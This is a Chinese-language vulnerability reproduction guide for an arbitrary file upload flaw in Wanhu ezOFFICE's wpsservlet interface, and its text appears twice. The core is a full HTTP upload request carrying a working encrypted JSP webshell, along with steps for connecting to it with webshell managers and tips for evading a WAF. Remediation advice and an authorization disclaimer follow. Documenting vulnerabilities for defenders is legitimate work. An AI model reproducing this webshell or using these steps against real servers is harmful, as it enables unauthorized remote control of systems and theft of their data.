漏洞复现--万户ezoffice wpsservlet任意文件上传
字数 1035 2025-08-10 08:28:15

万户ezoffice wpsservlet任意文件上传漏洞复现与分析

漏洞概述

万户ezoffice办公系统中的wpsservlet接口存在任意文件上传漏洞,攻击者可以利用该漏洞上传恶意文件到服务器,可能导致服务器被完全控制。

受影响版本

根据漏洞披露信息,该漏洞影响万户ezoffice多个版本,具体版本号需进一步确认。

漏洞原理

wpsservlet接口在处理文件上传请求时,未对上传文件的类型、内容进行充分验证,导致攻击者可以上传任意文件(如JSP木马文件)到服务器可访问的目录中。

环境搭建

  1. 下载并安装存在漏洞的万户ezoffice版本
  2. 确保服务正常运行(通常访问http://[ip]:[port]/
  3. 准备攻击机(安装Burp Suite或其他HTTP请求工具)

漏洞复现步骤

1. 识别目标

确认目标系统运行万户ezoffice,并存在/defaultroot/wpsservlet接口。

2. 构造恶意请求

使用以下方法构造恶意上传请求:

方法一:直接上传JSP木马

POST /defaultroot/wpsservlet HTTP/1.1
Host: target_ip:port
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxxxx
Content-Length: [length]

------WebKitFormBoundaryxxxxxx
Content-Disposition: form-data; name="upload"; filename="shell.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
------WebKitFormBoundaryxxxxxx--

方法二:使用工具自动化

可以使用Burp Suite等工具构造并发送上述请求。

3. 确认上传成功

如果上传成功,通常会返回文件路径,如:

/defaultroot/[随机目录]/shell.jsp

4. 访问上传的恶意文件

通过浏览器或工具访问上传的JSP文件:

http://target_ip:port/defaultroot/[随机目录]/shell.jsp

5. 获取WebShell

使用中国菜刀、冰蝎等WebShell管理工具连接上传的JSP木马,获取服务器控制权限。

漏洞利用技巧

  1. 绕过防护:如果系统有WAF,可以尝试修改Content-Type、文件名后缀等方式绕过
  2. 路径探测:尝试不同路径上传,寻找可执行目录
  3. 小文件优先:先上传小文件测试,确认漏洞存在后再上传完整WebShell

修复建议

  1. 升级到官方最新版本
  2. 临时修复措施:
    • 禁用wpsservlet接口
    • 在Web应用防火墙中过滤相关恶意请求
    • 限制上传文件类型,仅允许必要的文件格式
  3. 对上传文件进行严格校验:
    • 检查文件头
    • 限制文件扩展名
    • 存储上传文件到不可执行目录
    • 重命名上传文件

漏洞验证

使用以下方法验证漏洞是否修复:

  1. 尝试上传无害的文本文件,检查是否成功
  2. 尝试上传JSP文件,检查是否被拦截
  3. 检查服务器上是否出现未授权的可执行文件

法律与道德声明

  1. 此漏洞复现仅限授权测试使用
  2. 未经授权对他人系统进行测试是违法行为
  3. 发现漏洞应及时通知厂商修复,而非公开利用

参考链接

FreeBuf原始文章

请在实际测试中遵守法律法规,仅对授权系统进行安全测试。

万户ezoffice wpsservlet任意文件上传漏洞复现与分析 漏洞概述 万户ezoffice办公系统中的 wpsservlet 接口存在任意文件上传漏洞,攻击者可以利用该漏洞上传恶意文件到服务器,可能导致服务器被完全控制。 受影响版本 根据漏洞披露信息,该漏洞影响万户ezoffice多个版本,具体版本号需进一步确认。 漏洞原理 wpsservlet 接口在处理文件上传请求时,未对上传文件的类型、内容进行充分验证,导致攻击者可以上传任意文件(如JSP木马文件)到服务器可访问的目录中。 环境搭建 下载并安装存在漏洞的万户ezoffice版本 确保服务正常运行(通常访问 http://[ip]:[port]/ ) 准备攻击机(安装Burp Suite或其他HTTP请求工具) 漏洞复现步骤 1. 识别目标 确认目标系统运行万户ezoffice,并存在 /defaultroot/wpsservlet 接口。 2. 构造恶意请求 使用以下方法构造恶意上传请求: 方法一:直接上传JSP木马 方法二:使用工具自动化 可以使用Burp Suite等工具构造并发送上述请求。 3. 确认上传成功 如果上传成功,通常会返回文件路径,如: 4. 访问上传的恶意文件 通过浏览器或工具访问上传的JSP文件: 5. 获取WebShell 使用中国菜刀、冰蝎等WebShell管理工具连接上传的JSP木马,获取服务器控制权限。 漏洞利用技巧 绕过防护 :如果系统有WAF,可以尝试修改Content-Type、文件名后缀等方式绕过 路径探测 :尝试不同路径上传,寻找可执行目录 小文件优先 :先上传小文件测试,确认漏洞存在后再上传完整WebShell 修复建议 升级到官方最新版本 临时修复措施: 禁用 wpsservlet 接口 在Web应用防火墙中过滤相关恶意请求 限制上传文件类型,仅允许必要的文件格式 对上传文件进行严格校验: 检查文件头 限制文件扩展名 存储上传文件到不可执行目录 重命名上传文件 漏洞验证 使用以下方法验证漏洞是否修复: 尝试上传无害的文本文件,检查是否成功 尝试上传JSP文件,检查是否被拦截 检查服务器上是否出现未授权的可执行文件 法律与道德声明 此漏洞复现仅限授权测试使用 未经授权对他人系统进行测试是违法行为 发现漏洞应及时通知厂商修复,而非公开利用 参考链接 FreeBuf原始文章 请在实际测试中遵守法律法规,仅对授权系统进行安全测试。